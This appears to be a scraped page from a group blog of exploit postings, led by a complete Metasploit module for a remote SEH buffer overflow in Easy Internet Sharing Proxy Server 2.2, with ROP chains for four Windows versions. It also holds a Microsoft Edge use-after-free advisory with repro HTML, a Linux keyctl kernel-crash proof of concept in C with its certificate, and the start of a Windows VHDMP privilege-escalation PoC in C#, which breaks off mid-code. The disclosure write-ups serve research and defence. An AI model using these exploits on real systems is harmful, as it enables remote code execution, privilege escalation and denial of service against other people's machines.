##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy Internet Sharing Proxy Server 2.2 SEH buffer Overflow',
'Description' => %q{
This module exploits a SEH buffer overflow in the Easy Internet Sharing Proxy Socks Server 2.2
},
'Platform' => 'win',
'Author' =>
[
'tracyturben[at]gmail.com'
],
'License' => MSF_LICENSE,
'References' =>
[
[ %w{URL http://www.sharing-file.com/products.htm}]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 836,
'BadChars' => '\x90\x3b\x0d\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c',
'StackAdjustment' => -3500,
},
'Targets'=>
[
[ 'Windows 10 32bit', { 'Ret' => 0x0043AD2C,'Offset' => 836,'Nops' => 44 } ],
[ 'Windows 8.1 32bit SP1', { 'Ret' => 0x0043AD30,'Offset' => 908 } ],
[ 'Windows 7 32bit SP1', { 'Ret' => 0x0043AD38,'Offset' => 884 } ],
[ 'Windows Vista 32bit SP2 ', { 'Ret' => 0x0043AD38,'Offset' => 864 } ]
],
'DefaultOptions'=>{
'RPORT'=> 1080,
'EXITFUNC'=> 'thread'
},
'DisclosureDate' => 'Nov 10 2016',
'DefaultTarget'=> 0))
end
def exploit
connect
rop_gadgets =''
if target.name =~ /Vista 32bit/
print_good("Building Windows Vista Rop Chain")
rop_gadgets =
[
0x0043fb03,
0x0043fb03,
0x0043fb03,
0x0043fb03,
0x0043fb03,
0x00454559, # POP EAX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x00462589, # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x004543b2, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417771, # & push esp # ret 0x1C [easyproxy.exe]
0x0046764d, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x004532e5, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # size
0x00486fac, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x0044fc45, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0045460d, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *46
sploit << rop_gadgets
sploit << payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
handler
disconnect
end
if target.name =~ /7 32bit/
print_good('Building Windows 7 Rop Chain')
rop_gadgets =
[
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0047da72, # POP EAX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x004510a3, # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x00450e40, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417865, # & push esp # ret 0x1C [easyproxy.exe]
0x0046934a, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x0045a5b4, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # size
0x0047a3bf, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x00453ce6, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x00478ecd, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *26
sploit << rop_gadgets
sploit << payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
sleep(5)
handler
disconnect
end
if target.name =~ /8.1 32bit/
print_good('Building Windows 8 Rop Chain')
rop_gadgets =
[
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0047da72, # POP EAX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x004510a3, # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x00450e40, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417865, # & push esp # ret 0x1C [easyproxy.exe]
0x0046934a, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x0045a5b4, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # size
0x0047a3bf, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x00453ce6, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x00478ecd, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *2
sploit << rop_gadgets
sploit << payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
handler
disconnect
end
if target.name =~ /10 32bit/
print_good('Building Windows 10 Rop Chain')
rop_gadgets =
[
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x0047f1de, # POP EBX # RETN [easyproxy.exe]
0x00489210, # ptr to &VirtualAlloc() [IAT easyproxy.exe]
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x41414141, # Filler (compensate)
0x00438d30, # MOV EAX,DWORD PTR DS:[EDX] # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x004768eb, # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
0x004676b0, # POP EBP # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x00417771, # & push esp # ret 0x1C [easyproxy.exe]
0x0046bf38, # POP EBX # RETN [easyproxy.exe]
0x00000001, # 0x00000001-> ebx
0x00481477, # POP EBX # RETN [easyproxy.exe]
0x00001000, # 0x00001000-> edx
0x0045a4ec, # XOR EDX,EDX # RETN [easyproxy.exe]
0x0045276e, # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
0x00000001, # Filler (compensate)
0x00488098, # POP ECX # RETN [easyproxy.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x00000040, # 0x00000040-> ecx
0x0044ca38, # POP EDI # RETN [easyproxy.exe]
0x0043fb03, # RETN (ROP NOP) [easyproxy.exe]
0x00454559, # POP EAX # RETN [easyproxy.exe]
0x90909090, # nop
0x0047d30f, # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
].flatten.pack('V*')
print_good('Building Exploit...')
sploit = "\x90" *2
sploit << rop_gadgets
sploit << payload.encoded
sploit << make_nops(target['Nops'])
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
sploit << generate_seh_record(target.ret)
print_good('Sending exploit...')
sock.put(sploit)
print_good('Exploit Sent...')
handler
disconnect
end
end
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863291716
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<!--
Source: http://blog.skylined.nl/20161115001.html
Synopsis
A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttrArray object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.
Known affected software and attack vectors
Microsoft Edge 11.0.10240.16384
An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.
Repro
<x style="
background-image: inherit;
text-decoration: line-through;
height: 0;
width: 0;
top: 0;
left: 0;
right: 0;
bottom: 0;
font: menu;">
Alternatively:
<body id=x style=margin:5 onload=x.style.removeProperty("margin")>
Description
When an element is created and style properties are added, these are stored in a CAttrArray object. A new CAttrArray is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttrArray and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttrArray is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.
Exploit
What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->
<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
window.onload = function () {
// This PoC attempts to exploit a use-after-free bug in Microsoft Edge
// See http://blog.skylined.nl/20161115001.html for details.
// The CAttrArray is full, adding another style property will cause Edge to
// allocate a larger CAttrArray, copy everything and free the old one.
// The old one then continues to be used almost immediately:
x.style.setProperty("font", "menu");
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
};
</script>
<!--
The code
Below you can find an annotated disassembly for the CAttrArray::Destroy function, which calls CAttrArray::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.
EDGEHTML!CAttrArray::Destroy:
6175024f 8bff mov edi,edi
61750251 55 push ebp
61750252 8bec mov ebp,esp
61750254 83e4f8 and esp,0FFFFFFF8h
61750257 83ec2c sub esp,2Ch
6175025a 8b510c mov edx,dword ptr [ecx+0Ch]
6175025d 8bc2 mov eax,edx
6175025f 53 push ebx
61750260 d1e8 shr eax,1
61750262 894c240c mov dword ptr [esp+0Ch],ecx
61750266 56 push esi
61750267 57 push edi
61750268 a801 test al,1
6175026a 0f85b56f3600 jne EDGEHTML!CAttrArray::Destroy+0x366fd6 (61ab7225)
{
61ab7225 cc int 3
61ab7226 e94590c9ff jmp EDGEHTML!CAttrArray::Destroy+0x21 (61750270)
}
61750270 8b5d08 mov ebx,dword ptr [ebp+8]
61750273 8d7c2428 lea edi,[esp+28h]
61750277 c1e304 shl ebx,4
6175027a 035908 add ebx,dword ptr [ecx+8]
6175027d 8bf3 mov esi,ebx
6175027f 803b04 cmp byte ptr [ebx],4
61750282 a5 movs dword ptr es:[edi],dword ptr [esi]
61750283 a5 movs dword ptr es:[edi],dword ptr [esi]
61750284 a5 movs dword ptr es:[edi],dword ptr [esi]
61750285 a5 movs dword ptr es:[edi],dword ptr [esi]
61750286 752d jne EDGEHTML!CAttrArray::Destroy+0x66 (617502b5)
{
617502b5 8bcb mov ecx,ebx
617502b7 e870e4ffff call EDGEHTML!CAttrValue::GetDISPID (6174e72c)
617502bc 8b742414 mov esi,dword ptr [esp+14h]
617502c0 8bca mov ecx,edx
617502c2 c1e004 shl eax,4
617502c5 83e20f and edx,0Fh
617502c8 2bc8 sub ecx,eax
617502ca 83e1f0 and ecx,0FFFFFFF0h
617502cd 0bca or ecx,edx
617502cf 894e0c mov dword ptr [esi+0Ch],ecx
617502d2 0fb74302 movzx eax,word ptr [ebx+2]
617502d6 a808 test al,8
617502d8 752c jne EDGEHTML!CAttrArray::Destroy+0xb7 (61750306)
{
617502da 8b560c mov edx,dword ptr [esi+0Ch] ;<--------------.
617502dd f6c208 test dl,8 ; \
617502e0 0f95c1 setne cl ; |
617502e3 f6430201 test byte ptr [ebx+2],1 ; REUSE |
617502e7 0f95c0 setne al ; |
617502ea 84c8 test al,cl ; |
617502ec 8bce mov ecx,esi ; |
617502ee 7498 je EDGEHTML!CAttrArray::Destroy+0x39 (61750288) ; >----, |
617502f0 b301 mov bl,1 ; | |
617502f2 eb96 jmp EDGEHTML!CAttrArray::Destroy+0x3b (6175028a) ; >--- | --. |
} ; | | |
61750306 803b09 cmp byte ptr [ebx],9 ; | | /|
61750309 74cf je EDGEHTML!CAttrArray::Destroy+0x8b (617502da) ; >--- | - | --' |
6175030b 8d442418 lea eax,[esp+18h] ; | | |
6175030f 8bcb mov ecx,ebx ; | | |
61750311 50 push eax ; | | |
61750312 e89efeffff call EDGEHTML!CAttrValue::GetAsVariantNC (617501b5) ; | | |
61750317 0fb74b02 movzx ecx,word ptr [ebx+2] ; | | |
6175031b 81e1efff0000 and ecx,0FFEFh ; | | |
61750321 f6430380 test byte ptr [ebx+3],80h ; | | |
61750325 7526 jne EDGEHTML!CAttrArray::Destroy+0xfe (6175034d) ; | | |
{ ; | | |
6175034d 33c0 xor eax,eax ; V V ^
6175034f ebd9 jmp EDGEHTML!CAttrArray::Destroy+0xdb (6175032a) ; | | |
} else { ; | | |
61750327 8b4304 mov eax,dword ptr [ebx+4] ; | | |
} ; | | |
6175032a 6a01 push 1 ; | | |
6175032c 6a01 push 1 ; | | |
6175032e 51 push ecx ; | | |
6175032f 6a09 push 9 ; | | |
61750331 8d4c2428 lea ecx,[esp+28h] ; | | |
61750335 51 push ecx ; | | |
61750336 50 push eax ; | | |
61750337 8bcb mov ecx,ebx ; | | |
61750339 e8eee3ffff call EDGEHTML!CAttrValue::GetDISPID (6174e72c) ; | | |
6175033e 50 push eax ; | | |
6175033f 8d44242f lea eax,[esp+2Fh] ; | | |
61750343 8bce mov ecx,esi ; | | |
61750345 50 push eax ; | | |
61750346 e8258a0800 call EDGEHTML!CAttrArray::Set (617d8d70) ; FREE | | /
6175034b eb8d jmp EDGEHTML!CAttrArray::Destroy+0x8b (617502da) ; >--- | - | ---'
} ; | |
61750288 33db xor ebx,ebx ;<-----' |
6175028a d1ea shr edx,1 ;<---------'
6175028c f6c201 test dl,1
6175028f 0f85966f3600 jne EDGEHTML!CAttrArray::Destroy+0x366fdc (61ab722b)
{
61ab722b cc int 3
61ab722c e96490c9ff jmp EDGEHTML!CAttrArray::Destroy+0x46 (61750295)
}
61750295 ff7508 push dword ptr [ebp+8]
61750298 6a10 push 10h
6175029a e8b1e01400 call EDGEHTML!CImplAry::Delete (6189e350)
6175029f 8d4c2428 lea ecx,[esp+28h]
617502a3 e8ae000000 call EDGEHTML!CAttrValue::Free (61750356)
617502a8 84db test bl,bl
617502aa 7548 jne EDGEHTML!CAttrArray::Destroy+0xa5 (617502f4)
{
617502f4 8b4c2414 mov ecx,dword ptr [esp+14h]
617502f8 6a03 push 3
617502fa 68eb030180 push 800103EBh
617502ff e8ac3e0c00 call EDGEHTML!CAttrArray::DeleteAttribute (618141b0)
61750304 eba6 jmp EDGEHTML!CAttrArray::Destroy+0x5d (617502ac)
}
617502ac 5f pop edi
617502ad 5e pop esi
617502ae 5b pop ebx
617502af 8be5 mov esp,ebp
617502b1 5d pop ebp
617502b2 c20400 ret 4
Time-line
September 2015: This vulnerability was found through fuzzing.
September 2015: This vulnerability was submitted to ZDI.
September 2015: This vulnerability was rejected by ZDI.
November 2016: The issue no longer reproduces in Microsoft Edge.
November 2016: Details of this issue are released.
-->
/*
OS-S Security Advisory 2016-21
Local DoS: Linux Kernel Nullpointer Dereference via keyctl
Date:
October 31th, 2016
Authors:
Sergej Schumilo, Ralf Spenneberg, Hendrik Schwartke
CVE:
Not yet assigned
CVSS:
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:
Potentially critical. If the kernel is compiled with the option
“Panic-On-Oops”, this vulnerability may lead to a kernel panic.
Ease of Exploitation:
Trivial
Vulnerability Type:
Local unprivileged kernel nullpointer dereference
Abstract:
A malicious interaction with the keyctl usermode interface allows an
attacker to crash the kernel. Processing the attached certificate by the
kernel leads to a kernel nullpointer dereference. This vulnerably can be
triggered by any unprivileged user locally.
Detailed product description:
We have verified the bug on the following kernel builds:
Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
RedHat Kernel 3.10.0-327.18.2.el7.x86_64
Vendor Communication:
We contacted RedHat on June, 06th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible
disclosure policy.
Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1343162
Proof of Concept:
As a proof of concept, we are providing a sample exploit program and the
associated certificate.
Severity and Ease of Exploitation:
The vulnerability can be easily exploited by an unprivileged user using
our proof of concept.
dmesg-Report:
[ 40.067569] BUG: unable to handle kernel NULL pointer dereference at
(null)
[ 40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[ 40.068710] PGD c853067 PUD 186bd067 PMD 0
[ 40.069090] Oops: 0002 [#1] KASAN
[ 40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE)
mbcache(OE) jbd2(OE)
[ 40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G
OE 4.4.0 #158
[ 40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti:
ffff88000c880000
[ 40.072117] RIP: 0010:[<ffffffff81341911>] [<ffffffff81341911>]
mpi_powm+0x31/0x9b0
[ 40.072743] RSP: 0018:ffff88000c887bf0 EFLAGS: 00010246
[ 40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX:
ffff8800186b33f0
[ 40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI:
ffff8800186b37e0
[ 40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09:
ffffed00030d6700
[ 40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12:
0000000000000000
[ 40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15:
ffff8800186b32a0
[ 40.076174] FS: 0000000000911880(0063) GS:ffffffff81c2f000(0000)
knlGS:0000000000000000
[ 40.076815] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4:
00000000000006f0
[ 40.077850] Stack:
[ 40.078018] 0000000000000001 ffffea0000321000 0000000000000000
ffff8800100026c0
[ 40.078646] ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6
ffff8800186b37ff
[ 40.079286] 1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e
ffff8800185c95f8
[ 40.079925] Call Trace:
[ 40.080129] [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[ 40.080642] [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[ 40.081139] [<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
[ 40.081582] [<ffffffff81342320>] ? mpi_alloc+0x20/0x80
[ 40.082006] [<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
[ 40.082512] [<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
[ 40.083001] [<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
[ 40.083507] [<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
[ 40.084043] [<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
[ 40.084531] [<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
[ 40.085014] [<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
[ 40.085534] [<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
[ 40.086981] [<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
[ 40.087437] [<ffffffff8126ba67>] key_create_or_update+0x137/0x450
[ 40.087942] [<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
[ 40.088381] [<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
[ 40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04
44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f 84 da 07 00 00 45 85 f6 75 38
89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
[ 40.091203] RIP [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[ 40.091645] RSP <ffff88000c887bf0>
[ 40.091924] CR2: 0000000000000000
[ 40.092207] ---[ end trace 3d4c5681d47247c7 ]---
[ 40.092566] Kernel panic - not syncing: Fatal exception
[ 40.092968] Kernel Offset: disabled
[ 40.093242] Rebooting in 1 seconds..
Proof of Concept (Code):
*/
/*
*
* base64 -d < certificate.base64 > test.crt
* gcc test.crt -lkeyutils
* ./a.out
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/mount.h>
#include <errno.h>
#include <signal.h>
#include <keyutils.h>
int main(){
FILE *infile;
char *buffer;
long numbytes;
key_serial_t key_id;
key_serial_t keyring_id;
infile = fopen("test.crt", "r");
if(infile == NULL)
return 1;
fseek(infile, 0L, SEEK_END);
numbytes = ftell(infile);
fseek(infile, 0L, SEEK_SET);
buffer = (char*)calloc(numbytes, sizeof(char));
if(buffer == NULL)
return 1;
fread(buffer, sizeof(char), numbytes, infile);
fclose(infile);
/* inject fuzzed x509 DER data into asymmetric crypto kernel code */
key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);
printf("Oops?!\n");
if(key_id != -1){
keyctl_unlink(key_id, 0xfffffffd);
}
free(buffer);
return 0;
}
/*
Proof of Concept (Certificate):
MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQgCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAQAAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
--
*/
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=914
Windows: VHDMP Arbitrary File Creation EoP
Platform: Windows 10 10586 and 14393. Unlikely to work on 7 or 8.1 as I think it’s new functionality
Class: Elevation of Privilege
Summary:
The VHDMP driver doesn’t safely create files related to Resilient Change Tracking leading to arbitrary file overwrites under user control leading to EoP.
Description:
The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. In Windows 10 support was introduced for Resilient Change Tracking which adds a few new files ending with .rct and .mrt next to the root vhd. When you enable RCT on an existing VHD it creates the files if they’re not already present. Unfortunately it does it using ZwCreateFile (in VhdmpiCreateFileWithSameSecurity) and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As the location is entirely controlled by the user we can exploit this to get an arbitrary file create/overwrite, and the code as its name suggests will copy across the DACL from the parent VHD meaning we’ll always be able to access it.
Note this doesn’t need admin rights as we never mount the VHD, just set RCT. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.
Proof of Concept:
I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. It will create abc.txt and xyz.txt inside the Windows directory which we normally can’t write to.
1) Compile the C# source code file.
2) Execute the poc passing the path
3) It should print that it successfully created a file
Expected Result:
Setting RCT fails.
Observed Result:
The user has created the files \Windows\abc.txt and \Windows\xyz.txt with a valid DACL for the user to modify the files.
*/
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Linq;
namespace DfscTest
{
class Program
{
[Flags]
public enum AttributeFlags : uint
{
None = 0,
Inherit = 0x00000002,
Permanent = 0x00000010,
Exclusive = 0x00000020,
CaseInsensitive = 0x00000040,
OpenIf = 0x00000080,
OpenLink = 0x00000100,
KernelHandle = 0x00000200,
ForceAccessCheck = 0x00000400,
IgnoreImpersonatedDevicemap = 0x00000800,
DontReparse = 0x00001000,
}
public class IoStatus
{
public IntPtr Pointer;
public IntPtr Information;
public IoStatus()
{
}
public IoStatus(IntPtr p, IntPtr i)
{
Pointer = p;
Information = i;
}
}
[Flags]
public enum ShareMode
{
None = 0,
Read = 0x00000001,
Write = 0x00000002,
Delete = 0x00000004,
}
[Flags]
public enum FileOpenOptions
{
None = 0,
DirectoryFile = 0x00000001,
WriteThrough = 0x00000002,
SequentialOnly = 0x00000004,
NoIntermediateBuffering = 0x00000008,
SynchronousIoAlert = 0x00000010,
SynchronousIoNonAlert = 0x00000020,
NonDirectoryFile = 0x00000040,
CreateTreeConnection = 0x00000080,
CompleteIfOplocked = 0x00000100,
NoEaKnowledge = 0x00000200,
OpenRemoteInstance = 0x00000400,
RandomAccess = 0x00000800,
DeleteOnClose = 0x00001000,
OpenByFileId = 0x00002000,
